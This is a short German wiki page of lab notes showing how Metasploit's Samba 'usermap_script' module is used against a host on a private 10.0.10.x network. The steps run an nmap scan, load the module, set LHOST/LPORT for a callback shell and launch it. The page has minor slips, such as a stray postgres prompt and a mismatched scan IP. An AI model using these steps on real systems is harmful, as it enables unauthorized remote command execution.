Metasploit smb exploit
Version vom 25. Juni 2026, 13:07 Uhr von Thomas.will (Diskussion | Beiträge) (→Die Information ist zu ungenau, wir bohren weiter)
Gefundene Version
- db_nmap -sV 10.0.10.105
- [*] Nmap: 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
Die Information ist zu ungenau, wir bohren weiter
- nmap -p139,445 --script smb-os-discovery 10.0.10.10
Modul suchen
- msf6 > search Samba 3.0.20
0 exploit/multi/samba/usermap_script 2007-05-14 excellent No Samba "username map script" Command Execution
Module laden
- msf6 > use 0
msf6 exploit(multi/samba/usermap_script) >
- msf6 exploit(/linux/postgres/postgres_payload) > info
Wir setzen LHOST, LPORT, RHOST und LHOST
- msf6 exploit(multi/samba/usermap_script) > set LHOST 10.0.10.101
- msf6 exploit(multi/samba/usermap_script) > set LPORT 4444
- msf6 exploit(multi/samba/usermap_script) > set RHOSTS 10.0.10.105
- msf6 exploit(multi/samba/usermap_script) > set RPORT 139
Und Attacke
- msf6 exploit(multi/samba/usermap_script) > run
- Es dauert ein bisschen